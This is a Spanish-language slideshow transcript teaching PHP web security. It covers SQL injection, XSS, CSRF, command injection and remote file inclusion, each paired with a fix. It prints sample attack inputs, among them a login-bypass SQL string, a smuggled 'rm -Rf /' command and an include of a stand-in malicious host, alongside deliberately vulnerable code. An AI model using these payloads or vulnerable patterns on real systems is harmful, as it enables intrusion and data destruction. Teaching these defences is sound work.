Post on 12-Jun-2015
2. PHP
3. Algo tan simple como ya es una vulnerabilidad en una pgina web
4. PHP
5. "Filter your input, Escape your output" Adems de stas hay otras a tener en cuenta, pero sin duda stas son las ms importantes 6. PHP
7. El usuario puede modificar fcilmente el id de producto a visualizar, y poner, en vez de un nmero, cualquier otra cosa 8. Asegurarse que $_GET['id'] es un nmero!!! 9. PHP
10. En el formulario que aparece aqu al lado, un usuario tambin puede modificar el valor del mes
11. O usando plugins para el navegador 12. 10 minutos de ejercicio! 13. PHP
14. Datos que puede modificar el usuario:
* Algunos campos nicamente 15. PHP
16. Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales:
17. , &, ', " en html 18. ', ", $, ;, ` al ejecutar comandos en la terminal 19. PHP
20. $sql = "SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'"; 21. Si nos envan usuario 'pepe' y contrasea 'patata' 22. $sql = "SELECT * FROM usuarios WHERE username='pepe' AND password='patata'; 23. Sin peligro! 24. PHP
25. Query generado: $sql = "SELECT * FROM usuarios WHERE username='' OR id=1 --' AND password='blabla'" 26. A partir de -- es comentario 27. El atacante podra autenticarse como cualquier usuario! 28. PHP
29. Login sin usuario / contrasea 30. Obtener registros de la base de datos (datos bancarios, personales, passwords...) 31. Eliminar registros o tablas de la BD 32. PHP
33. Manera: Usar mtodos especficos del driver de la base de datos:
34. $pdo->quote($variable) 35. Si no hay mtodo disponible, addslashes($var) Manera 2: Prepared Statements 36. PHP
37. El usuario puede escribir html que se interpretar como tal 38. Posibilidades enormes para un atacante, la ms habitual insertar un o 43. Usa un redireccionador tipo tinyurl para el ataque anterior 44. PHP
45. htmlspecialchars($texto_usuario); 46. PHP
47. ejemplo
48. En otra ventana del navegador, visita http://malos.com/, donde hay este cdigo: 49. Esto provoca que el navegador del usuario lance una peticin a mipagina.com/logout.php, que parece legtima, y desloguea al usuario 50. PHP
51. El caso del logout es ms o menos inofensivo, aunque molesto 52. lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000
53. PHP
54. Uso de tokens nicos entre peticiones
55. En la siguiente peticin que haya, comprobar la existencia de dicho token (que se habr enviado en la url o mediante un input hidden) 56. Si existe y es el mismo que el de la sesin, todo correcto: procesamos la peticin 57. Si no existe o es diferente: posible ataque. No hacemos nada 58. PHP
Es un ataque indiscriminado, aunque con pocas posibilidades de xito excepto a sitios de primera lnea
60. PHP
61. El cdigo de listar.php incluye: $comando = "ls ".$_GET['carpeta']; echo exec($comando); 62. PHP
63. La instruccin a ejecutar quedara como: ls imagenes; rm -Rf / 64. 2 comandos! listar el contenido de la carpeta imgenes... y luego borrar todos los archivos del disco duro! 65. Evitarlo usando escapeshellcmd() y escapeshellarg() 66. PHP
67. Internamente, index.php realiza una cosa similar arequire_once($_GET['pagina'].'.php'); 68. Qu pasa si un atacante accede a index.php?pagina=http://malos.com/script 69. Bingo... la hemos jodido! 70. PHP
71. Para evitarlo (i):
72. Poner un ./ al inicio del require (de esta forma se intentara incluir './http://malos.com/script.php', y fallara 73. PHP
74. PHP
Robo sesiones 75. Usuario root bd